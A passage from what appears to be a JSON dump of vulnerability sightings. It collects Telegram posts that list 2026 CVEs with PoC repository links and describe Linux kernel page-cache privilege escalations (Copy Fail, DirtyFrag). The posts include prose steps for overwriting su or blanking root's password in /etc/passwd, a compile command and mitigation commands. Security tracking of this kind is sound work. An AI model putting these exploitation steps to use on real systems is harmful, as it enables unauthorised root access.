compromise\n\u2022 Sensitive data exposure\n\n\u2796\u2796\u2796\u2796\n\n3\ufe0f\u20e3 CVE-2026-33788\n\ud83c\udfaf WordPress Plugin \u2013 Arbitrary File Upload\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/0x3f97/CVE-2026-33788\n\n\ud83e\udde0 Overview\nA vulnerable WordPress plugin allows attackers to upload malicious files without proper validation.\n\n\u2699\ufe0f Impact\n\u2022 Arbitrary file upload\n\u2022 Remote code execution\n\u2022 Full website compromise\n\n\u2796\u2796\u2796\u2796\n\n4\ufe0f\u20e3 CVE-2026-32677\n\ud83c\udfaf Docker Environment \u2013 Privilege Escalation\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/exploitdev/CVE-2026-32677\n\n\ud83e\udde0 Overview\nA misconfiguration or vulnerability in Docker environments allows attackers to escalate privileges and escape container isolation.\n\n\u2699\ufe0f Impact\n\u2022 Container escape\n\u2022 Privilege escalation\n\u2022 Host compromise\n\n\u2796\u2796\u2796\u2796\n\n5\ufe0f\u20e3 CVE-2026-31854\n\ud83c\udfaf PHP Application \u2013 Remote File Inclusion (RFI)\n\n\ud83d\udd17 PoC Repository\nhttps://github.com/hax0rz/CVE-2026-31854\n\n\ud83e\udde0 Overview\nA remote file inclusion vulnerability allows attackers to load external malicious scripts into the application.\n\n\u2699\ufe0f Impact\n\u2022 Remote code execution\n\u2022 Server compromise\n\u2022 Data exfiltration\n\n\u2796\u2796\u2796\u2796\n\n\ud83d\udcda Research Value\n\u2022 Exploit development\n\u2022 Patch diff analysis\n\u2022 Web / system vulnerability research\n\u2022 Red team / blue team exercises\n\n\u26a0\ufe0f Ethical Notice\nThis content is shared for cybersecurity research and defensive purposes only.\nDo not use this information for illegal activities.\n\n\ud83e\udde0 Cyber Security Exploit Research Community\nMalware Analysis | Reverse Engineering | CVE Research | Threat Intelligence\n\n\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\u2796\n\n\ud83d\udd10 Cyber Security Exploit Community\nTelegram Group\nhttps://t.me/Cyber_Security_Exploit\n\nTelegram Channel\nhttps://t.me/CyberSecurityExploit\n\nResearch \u2022 Ethical Hacking \u2022 Red Team", "creation_timestamp": "2026-08-27T20:00:06.001686Z"}, {"uuid": "0d0ac73b-bdcd-4ff2-9f4e-d2a030475a02", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/zhatez/2587", "content": "\ud83e\udde0 \u041f\u043e\u043c\u043d\u0438\u0442\u0435 Copy Fail? \u0422\u0430\u043a \u0432\u043e\u0442, \u043d\u0430\u0448\u043b\u0438 \u0435\u0449\u0451 \u0434\u0432\u0430 \u0441\u043f\u043e\u0441\u043e\u0431\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u0442\u043e \u0436\u0435 \u0441\u0430\u043c\u043e\u0435\n\n\u041d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 \u044f \u043f\u0438\u0441\u0430\u043b \u043f\u0440\u043e CVE-2026-31431 - 732 \u0431\u0430\u0439\u0442\u0430 Python \u0438 \u0442\u044b root. \u0411\u0430\u0433 \u0432 \u043a\u0440\u0438\u043f\u0442\u043e-\u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 \u044f\u0434\u0440\u0430, \u0447\u0435\u0440\u0435\u0437 splice() \u0438 page cache. \u041a\u0430\u0437\u0430\u043b\u043e\u0441\u044c \u0431\u044b - \u043d\u0443 \u043d\u0430\u0448\u043b\u0438, \u043d\u0443 \u043f\u0440\u043e\u043f\u0430\u0442\u0447\u0438\u043b\u0438, \u0436\u0438\u0432\u0451\u043c \u0434\u0430\u043b\u044c\u0448\u0435\n\n\u0410 \u0432\u0447\u0435\u0440\u0430 V4bel \u0432\u044b\u043a\u0430\u0442\u0438\u043b DirtyFrag. \u0414\u0432\u0430 \u043d\u043e\u0432\u044b\u0445 \u0431\u0430\u0433\u0430 \u0442\u043e\u0433\u043e \u0436\u0435 \u043a\u043b\u0430\u0441\u0441\u0430. \u0422\u043e\u0442 \u0436\u0435 \u043f\u0440\u0438\u043d\u0446\u0438\u043f - \u0447\u0435\u0440\u0435\u0437 splice() \u0437\u0430\u0433\u043e\u043d\u044f\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b \u0444\u0430\u0439\u043b\u0430 \u0432 \u044f\u0434\u0435\u0440\u043d\u0443\u044e \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u044e, \u044f\u0434\u0440\u043e \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442 \"\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\" \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u043c\u043e\u0435 \u043f\u0440\u044f\u043c\u043e \u0432 page cache. \u0422\u043e\u043b\u044c\u043a\u043e \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0435 \u0447\u0435\u0440\u0435\u0437 AF_ALG, \u0430 \u0447\u0435\u0440\u0435\u0437 \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u043c\u043e\u0434\u0443\u043b\u044f - ESP (IPsec) \u0438 RxRPC\n\n \ud83d\udc40 \u0414\u0432\u0430 \u043f\u0443\u0442\u0438 \u043a root. \u0412\u044b\u0431\u0438\u0440\u0430\u0439 \u043a\u0430\u043a\u043e\u0439 \u043d\u0440\u0430\u0432\u0438\u0442\u0441\u044f\n\n\u041f\u0435\u0440\u0432\u044b\u0439 - \u0447\u0435\u0440\u0435\u0437 ESP. \u0421\u043e\u0437\u0434\u0430\u0451\u043c XFRM-\u0430\u0441\u0441\u043e\u0446\u0438\u0430\u0446\u0438\u044e \u0441 UDP-\u0438\u043d\u043a\u0430\u043f\u0441\u0443\u043b\u044f\u0446\u0438\u0435\u0439, \u0437\u0430\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u044b /usr/bin/su \u0432 \u043f\u0430\u0439\u043f\u043b\u0430\u0439\u043d \u0447\u0435\u0440\u0435\u0437 splice(), \u044f\u0434\u0440\u043e \u0434\u0435\u043b\u0430\u0435\u0442 in-place \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u0438 \u043f\u0438\u0448\u0435\u0442 4 \u0431\u0430\u0439\u0442\u0430 \u043a\u0443\u0434\u0430 \u043c\u044b \u0441\u043a\u0430\u0436\u0435\u043c. \u041f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c - \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u043c 192-\u0431\u0430\u0439\u0442\u043d\u044b\u0439 \u0448\u0435\u043b\u043b\u043a\u043e\u0434 \u043f\u043e\u0432\u0435\u0440\u0445 su. \u0417\u0430\u043f\u0443\u0441\u043a\u0430\u0435\u043c su - \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u043c root. \u0417\u0432\u0443\u0447\u0438\u0442 \u0437\u043d\u0430\u043a\u043e\u043c\u043e? \u042d\u0442\u043e \u0431\u0443\u043a\u0432\u0430\u043b\u044c\u043d\u043e \u0442\u043e\u0442 \u0436\u0435 \u043f\u0430\u0442\u0442\u0435\u0440\u043d, \u0447\u0442\u043e \u0438 Copy Fail, \u0442\u043e\u043b\u044c\u043a\u043e \u0447\u0435\u0440\u0435\u0437 \u0434\u0440\u0443\u0433\u0443\u044e \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0443. \u0411\u0430\u0433 \u0432 \u044f\u0434\u0440\u0435 \u0441 \u044f\u043d\u0432\u0430\u0440\u044f 2017 \u0433\u043e\u0434\u0430\n\n\u0412\u0442\u043e\u0440\u043e\u0439 - \u0447\u0435\u0440\u0435\u0437 RxRPC, \u0438 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043a\u0440\u0430\u0441\u0438\u0432\u043e. \u0412\u043c\u0435\u0441\u0442\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0438 \u0431\u0438\u043d\u0430\u0440\u043d\u0438\u043a\u0430 - \u043f\u0430\u0442\u0447\u0438\u043c /etc/passwd. \u0421\u043e\u0437\u0434\u0430\u0451\u043c rxkad-\u0442\u043e\u043a\u0435\u043d \u0441 \u043d\u0443\u0436\u043d\u044b\u043c \u043a\u043b\u044e\u0447\u043e\u043c \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f, \u044f\u0434\u0440\u043e \u0447\u0435\u0440\u0435\u0437 rxkad_verify_packet_1() \u0434\u0435\u043b\u0430\u0435\u0442 pcbc(fcrypt) \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443 \u043f\u0440\u044f\u043c\u043e \u043f\u043e \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0435 \u0444\u0430\u0439\u043b\u0430. \u0422\u0440\u0438 splice-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0441 \u043f\u0435\u0440\u0435\u043a\u0440\u044b\u0442\u0438\u0435\u043c - \u0438 \u0441\u0442\u0440\u043e\u043a\u0430 root:x:0:0: \u043f\u0440\u0435\u0432\u0440\u0430\u0449\u0430\u0435\u0442\u0441\u044f \u0432 root::0:0:. \u041f\u0443\u0441\u0442\u043e\u0439 \u043f\u0430\u0440\u043e\u043b\u044c. su root, Enter, \u0432\u0441\u0451. \u041f\u0440\u0438\u0447\u0451\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043a\u043b\u044e\u0447 \u0448\u0438\u0444\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u0434\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u0432 \u044e\u0437\u0435\u0440\u0441\u043f\u0435\u0439\u0441\u0435 - \u043f\u043e\u043b\u043d\u043e\u0441\u0442\u044c\u044e \u043e\u0444\u043b\u0430\u0439\u043d, \u0431\u0435\u0437 \u0435\u0434\u0438\u043d\u043e\u0433\u043e \u043e\u0431\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043a \u044f\u0434\u0440\u0443. \u041e\u0434\u0438\u043d \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0442\u0440\u0438\u0433\u0433\u0435\u0440 \u0432 \u043a\u043e\u043d\u0446\u0435. \u042d\u0442\u043e\u0442 \u0431\u0430\u0433 \u0441 \u0438\u044e\u043d\u044f 2023 \u0433\u043e\u0434\u0430\n\n\u041d\u0438 \u043e\u0434\u043d\u043e\u0439 \u0433\u043e\u043d\u043a\u0438. \u041d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e race condition. \u0414\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043b\u043e\u0433\u0438\u043a\u0430 - \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b, \u0434\u0451\u0440\u043d\u0443\u043b \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u043a\u0443, page cache \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0438\u0441\u0430\u043d. \u0415\u0441\u043b\u0438 \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0448\u043b\u043e \u043d\u0435 \u0442\u0430\u043a - \u044f\u0434\u0440\u043e \u043d\u0435 \u043f\u0430\u0434\u0430\u0435\u0442, \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0432\u0442\u043e\u0440\u0438\u0442\u044c\n\n\u041f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043e \u043d\u0430 Ubuntu 24.04, RHEL 10.1, openSUSE Tumbleweed, CentOS Stream 10, AlmaLinux 10, Fedora 44. \u041a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043e\u0434\u043d\u043e\u0439 \u0441\u0442\u0440\u043e\u043a\u043e\u0439: \n\n\ngcc -O0 -Wall -o exp exp.c -lutil\n\n\n\u0418 \u0432\u043e\u0442 \u0442\u0443\u0442 \u043d\u0430\u0447\u0438\u043d\u0430\u0435\u0442\u0441\u044f \u0441\u0430\u043c\u043e\u0435 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0435 - CVE \u043d\u0435\u0442. \u041f\u0430\u0442\u0447\u0430 \u043d\u0435\u0442. \u041d\u0438 \u0434\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0430. \u041f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u043a\u0442\u043e-\u0442\u043e \u0441\u043b\u043e\u043c\u0430\u043b \u044d\u043c\u0431\u0430\u0440\u0433\u043e \u0434\u043e \u0442\u043e\u0433\u043e, \u043a\u0430\u043a \u0432\u0435\u043d\u0434\u043e\u0440\u044b \u0443\u0441\u043f\u0435\u043b\u0438 \u0432\u044b\u043a\u0430\u0442\u0438\u0442\u044c \u0444\u0438\u043a\u0441\u044b. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441\u0432\u044f\u0437\u0430\u043b\u0441\u044f \u0441 linux-distros@openwall, \u0442\u0435 \u043f\u043e\u043f\u0440\u043e\u0441\u0438\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u0442\u044c - \u0438 \u043e\u043d \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043b. \u041f\u043e\u043b\u043d\u044b\u0439 \u0438\u0441\u0445\u043e\u0434\u043d\u0438\u043a, \u043a\u043e\u043c\u043f\u0438\u043b\u044f\u0446\u0438\u044f, \u0437\u0430\u043f\u0443\u0441\u043a. \u041d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - zero-day \u0432 \u0447\u0438\u0441\u0442\u043e\u043c \u0432\u0438\u0434\u0435\n\n\u0427\u0442\u043e \u043c\u044b \u0438\u043c\u0435\u0435\u043c. Dirty Pipe \u0432 2022 - page cache \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0439\u043f\u044b. Copy Fail \u043d\u0435\u0434\u0435\u043b\u044e \u043d\u0430\u0437\u0430\u0434 - page cache \u0447\u0435\u0440\u0435\u0437 AF_ALG. DirtyFrag \u0432\u0447\u0435\u0440\u0430 - page cache \u0447\u0435\u0440\u0435\u0437 ESP \u0438 RxRPC. \u0422\u0440\u0438 \u0440\u0430\u0437\u043d\u044b\u0445 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u0438\u043d \u0438 \u0442\u043e\u0442 \u0436\u0435 \u0431\u0430\u0433-\u043a\u043b\u0430\u0441\u0441. \u042f\u0434\u0440\u043e Linux \u043f\u043e\u043b\u043d\u043e \u043c\u0435\u0441\u0442, \u0433\u0434\u0435 \u043a\u0440\u0438\u043f\u0442\u043e\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438 \u0434\u0435\u043b\u0430\u044e\u0442\u0441\u044f \u00ab\u043d\u0430 \u043c\u0435\u0441\u0442\u0435\u00bb \u043f\u043e \u0434\u0430\u043d\u043d\u044b\u043c \u0438\u0437 splice(). \u041a\u0430\u0436\u0434\u043e\u0435 \u0442\u0430\u043a\u043e\u0435 \u043c\u0435\u0441\u0442\u043e - \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u0430\u044f \u0437\u0430\u043f\u0438\u0441\u044c \u0432 page cache. \u0421\u043a\u043e\u043b\u044c\u043a\u043e \u0435\u0449\u0451 \u0442\u0430\u043a\u0438\u0445 \u043c\u0435\u0441\u0442 \u0432 \u044f\u0434\u0440\u0435 - \u0432\u043e\u043f\u0440\u043e\u0441 \u043e\u0442\u043a\u0440\u044b\u0442\u044b\u0439. \u041f\u043e\u0434\u043e\u0437\u0440\u0435\u0432\u0430\u044e - \u043d\u0435 \u043c\u0430\u043b\u043e \ud83d\udc40\n\n\n\u041c\u0438\u0442\u0438\u0433\u0430\u0446\u0438\u044f \u043f\u0440\u044f\u043c\u043e \u0441\u0435\u0439\u0447\u0430\u0441 (\u043f\u0430\u0442\u0447\u0430-\u0442\u043e \u043d\u0435\u0442):\n\n\nprintf 'install esp4 /bin/false\\ninstall esp6 /bin/false\\ninstall rxrpc /bin/false\\n' > /etc/modprobe.d/dirtyfrag.conf\nrmmod esp4 esp6 rxrpc 2>/dev/null\n\n\n\u0427\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0441\u043b\u043e\u043c\u0430\u0442\u044c\u0441\u044f - ESP \u043c\u043e\u0434\u0443\u043b\u0438 \u043d\u0443\u0436\u043d\u044b \u0434\u043b\u044f IPsec VPN. \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 site-to-site IPsec \u0438\u043b\u0438 strongSwan - \u043f\u043e\u0434\u0443\u043c\u0430\u0439\u0442\u0435 \u0434\u0432\u0430\u0436\u0434\u044b. RxRPC \u043d\u0430 Ubuntu \u0437\u0430\u0433\u0440\u0443\u0436\u0435\u043d \u043f\u043e \u0443\u043c\u043e\u043b\u0447\u0430\u043d\u0438\u044e, \u043d\u043e \u0440\u0435\u0430\u043b\u044c\u043d\u043e \u0435\u0433\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u0442\u043e\u043b\u044c\u043a\u043e AFS (Andrew File System). \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043d\u0435\u0442 AFS - \u0441\u043c\u0435\u043b\u043e \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0439\u0442\u0435\n\n\u0422\u0440\u0438 \u0433\u043e\u0434\u0430, \u0434\u0435\u0432\u044f\u0442\u044c \u043b\u0435\u0442. \u0414\u0432\u0430 \u0431\u0430\u0433\u0430 \u043b\u0435\u0436\u0430\u043b\u0438 \u0440\u044f\u0434\u043e\u043c \u0438 \u0436\u0434\u0430\u043b\u0438. \u041e\u0434\u0438\u043d \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u044c, \u043e\u0434\u0438\u043d \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442, \u043e\u0434\u0438\u043d claude, \u0432\u0441\u0435 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u044b. \u0418 \u043d\u0430 \u043c\u043e\u043c\u0435\u043d\u0442 \u043f\u0443\u0431\u043b\u0438\u043a\u0430\u0446\u0438\u0438 - \u043d\u0438 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u0430\u0442\u0447\u0430. \u0412\u043e\u0442 \u0432\u0430\u043c \u0438 \u043a\u043e\u043e\u0440\u0434\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435", "creation_timestamp": "2026-07-26T07:01:46.470066Z"}, {"uuid": "cd4a74cb-5d74-48c1-a5d7-dadfc13ef3a7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "seen", "source": "https://t.me/zhatez/2579", "content": "\u0410\u0441\u0442\u0440\u043e\u043b\u043e\u0433\u0438 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0435\u043d\u0438\u0435 \u043d\u0435\u0434\u0435\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0439, \u043f\u043e\u0434\u044a\u0435\u0445\u0430\u043b PoC \u043f\u043e\u0431\u0435\u0433\u0430 \u0438\u0437 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u0430 \u0434\u043b\u044f  Copy Fail (CVE-2026-31431)\n\n\ud83d\udc40@ever_secure | \ud83d\udcaa \u041c\u0435\u0440\u0447 | \ud83d\udcb3\u041f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c", "creation_timestamp": "2026-07-26T07:01:46.671589Z"}, {"uuid": "67334a3e-da27-4bc5-a04f-77cfc36e63d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-31431", "type": "exploited", "source": "https://t.me/EchelonEyes/4556", "content": "\u0412 Linux \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c Copy-Fail, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c root-\u0434\u043e\u0441\u0442\u0443\u043f\n\n\u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u044e\u0442 \u043e \u043d\u043e\u0432\u043e\u0439 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u0432\u044b\u0448\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0434\u043e root \u0432 \u044f\u0434\u0440\u0435 Linux \u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. \n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430, \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0435\u043c\u0430\u044f \u043f\u043e \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0443 CVE-2026-31431, \u0442\u0430\u043a\u0436\u0435 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u0430 \u043a\u0430\u043a Copy-Fail. \u041e\u043d\u0430 \u043d\u0430\u0445\u043e\u0434\u0438\u0442\u0441\u044f \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 algif_aead, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u043e\u0439 \u0441 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c AF_ALG. \n\n\u0421\u0431\u043e\u0439 \u0441\u0432\u044f\u0437\u0430\u043d \u0441 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u043a\u043e\u0439 \u0434\u0430\u043d\u043d\u044b\u0445 \u043c\u0435\u0436\u0434\u0443 user space \u0438 \u044f\u0434\u0440\u043e\u043c \u043f\u0440\u0438 \u0440\u0430\u0431\u043e\u0442\u0435 \u0441 \u043a\u0440\u0438\u043f\u0442\u043e\u0433\u0440\u0430\u0444\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043e\u043c. \u0421\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0440\u0430\u0437\u0431\u043e\u0440\u0430\u043c, \u043e\u0448\u0438\u0431\u043a\u0430 \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u044f page cache \u0438 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u0443\u0435\u043c\u043e\u0439 \u0437\u0430\u043f\u0438\u0441\u0438 \u0432 \u0434\u0430\u043d\u043d\u044b\u0435 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0435 \u043c\u0430\u0442\u0435\u0440\u0438\u0430\u043b\u044b \u043f\u043e Copy-Fail \u0442\u0430\u043a\u0436\u0435 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442 \u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0447\u0435\u0440\u0435\u0437 \u0441\u0432\u044f\u0437\u043a\u0443 AF_ALG \u0438 splice().\n\n\u041f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u043e\u0432\u0430\u043b\u0430 \u0432 \u0432\u0435\u0442\u043a\u0430\u0445, \u0443\u043d\u0430\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0432\u0448\u0438\u0445 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0435, \u043f\u043e\u044f\u0432\u0438\u0432\u0448\u0435\u0435\u0441\u044f \u0435\u0449\u0451 \u0432 2017 \u0433\u043e\u0434\u0443. \u042d\u0442\u043e \u043e\u0437\u043d\u0430\u0447\u0430\u0435\u0442, \u0447\u0442\u043e \u043f\u043e\u0434 \u0440\u0438\u0441\u043a \u043f\u043e\u043f\u0430\u0434\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e mainstream-\u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u043c\u0438 \u0432\u0435\u0440\u0441\u0438\u044f\u043c\u0438 \u044f\u0434\u0440\u0430, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u044b\u0435 \u0438 \u043a\u043e\u043d\u0442\u0435\u0439\u043d\u0435\u0440\u043d\u044b\u0435 \u0445\u043e\u0441\u0442\u044b.\n\n\u0412 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0441\u0446\u0435\u043d\u0430\u0440\u0438\u044f\u0445 CVE-2026-31431 \u043c\u043e\u0436\u0435\u0442 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u0434\u043b\u044f \u0432\u044b\u0445\u043e\u0434\u0430 \u043e\u0442 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u043a \u043f\u043e\u043b\u043d\u043e\u043c\u0443 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u043d\u0430\u0434 \u0445\u043e\u0441\u0442\u043e\u043c.\n\n\u042d\u043a\u0441\u043f\u043b\u043e\u0439\u0442 \u0434\u043b\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0431\u044b\u043b \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u043e \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043d \u043d\u0430 Debian 13.\n\n\u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u044f\u0434\u0440\u043e \u0434\u043e \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438 \u0438\u0437 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0435\u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u043e\u0432. \u0415\u0441\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0435\u043b\u044c\u0437\u044f \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0440\u0430\u0437\u0443, \u0441\u0442\u043e\u0438\u0442 \u043f\u0440\u0438\u043c\u0435\u043d\u044f\u0442\u044c \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0435 